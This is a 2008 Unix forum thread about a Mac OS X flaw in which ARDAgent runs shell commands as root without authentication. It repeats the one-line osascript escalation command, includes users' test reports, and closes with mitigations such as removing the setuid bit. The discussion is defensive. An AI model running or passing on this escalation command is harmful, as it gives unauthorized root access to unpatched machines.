ARD Agent vulnerability


 
Thread Tools Search this Thread
Operating Systems OS X (Apple) ARD Agent vulnerability
# 1  
Old 06-19-2008
ARD Agent vulnerability

today an anonymous slashdot user posted this little shell command, that uses the ARDAgent to gain root access, without ever needing to authenticate.

the script is:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

Can be used to things like:
osascript -e 'tell app "ARDAgent" to do shell script "scutil --set ComputerName SomeName"'
that would normally require authentication.

It has been tested by quite a few people, and has been found only to work you are physically at a computer and its logged in.

However where I work we use Network Shares as our home folder, and this hack doesnt seem to work. And I just wanted to make sure that there was no way it would work.

When I run the command:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

I get:
execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)


Anyone thinks its possible?
# 2  
Old 06-19-2008
Error

Quote:
Originally Posted by afriend
today an anonymous slashdot user posted this little shell command, that uses the ARDAgent to gain root access, without ever needing to authenticate.

the script is:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

Can be used to things like:
osascript -e 'tell app "ARDAgent" to do shell script "scutil --set ComputerName SomeName"'
that would normally require authentication.

It has been tested by quite a few people, and has been found only to work you are physically at a computer and its logged in.

However where I work we use Network Shares as our home folder, and this hack doesnt seem to work. And I just wanted to make sure that there was no way it would work.

When I run the command:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

I get:
execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)


Anyone thinks its possible?
I just tested that on the MacBook Pro I use day to day using an admin account, a normal account and the built in guest account and I have to say...

CRIKEY!

I was hoping maybe it was only a problem if you were logged in as an admin user, but it isn't. I'll test it at work tomorrow when I can get access to my test machines and try it with network clients.

This is really some quite major privilege escalation, it's a built in rootkit.

Thank you very much for bringing that to my attention.

Last edited by woodgie; 06-20-2008 at 06:18 AM.. Reason: Do not use curse words in these forums, no exceptions.
# 3  
Old 06-19-2008
OK, I am SSH'd into a server at work and I'm getting the same error you are. That's put my mind at rest enough for me to go to bed and be able to sleep, though I'll probably have nightmares Smilie

I'll also do more testing tomorrow to see what I find.

Night all.
# 4  
Old 06-23-2008
As I understand it, local GUI login is required by the same user that is issuing the command.
So if Joe is using the machine, and someone either makes Joe run the command (trojan), or someone else is logged into the terminal as Joe then the command will work.

Anyway, there are a couple of things you can do to plug this hole (or make it much smaller).

You can remove the setuid bit from the executable, tar or remove the ARD product entirely, or if you require ARD for whatever reason (server access...) you can change privileges on the osascript executable to at least restrict who can run the command unchallenged.

Some options.
Login or Register to Ask a Question

Previous Thread | Next Thread

5 More Discussions You Might Find Interesting

1. Solaris

OV Server on 11 - need to install agent?

Client has got a few machines with logical domains on. But I can't see the the ovs-agent service? Quite possibly I guess this has been set up with just logical domains. With no agent. Do you need to use the agent only if planning to manage with OV Manager? (6 Replies)
Discussion started by: psychocandy
6 Replies

2. UNIX for Dummies Questions & Answers

vcs agent

Hi all, I'm new to vcs. I have a doubt. I need to know, what will happen if an agent is stopped while reources being online. Eg.. while the oracle agent is stopped, will all the oracle resources will become offline.. Advanced thanks (1 Reply)
Discussion started by: sunshine12
1 Replies

3. UNIX for Dummies Questions & Answers

perform agent

Hi, Please can someone explain me about the " perform agent " on UNIX . Thanx (1 Reply)
Discussion started by: reply2soumya
1 Replies

4. IP Networking

SNMP agent

Hi, I am really new in linux and SNMP. I have a SNMP agent in Linux (net-snmp). I have my MIB in the /usr/share/mibs directory, and I didn't manage to understand where and how do I put the values of the fields in the MIB? The values are static, so the agent need to return the same value in... (0 Replies)
Discussion started by: linuxbegginer
0 Replies

5. UNIX for Dummies Questions & Answers

Solaris agent

Hello, on Solaris 5.8 I've installed SunMgtCenter to get the time agent; it's under /opt/SUNWsymon/sbin/es-start -a it's in ps -ef | grep agent ...but it doesn't work; the machine is always in alarm cause the time is different of the clock server; is it clear enough ? tks cc (0 Replies)
Discussion started by: Carmen123
0 Replies
Login or Register to Ask a Question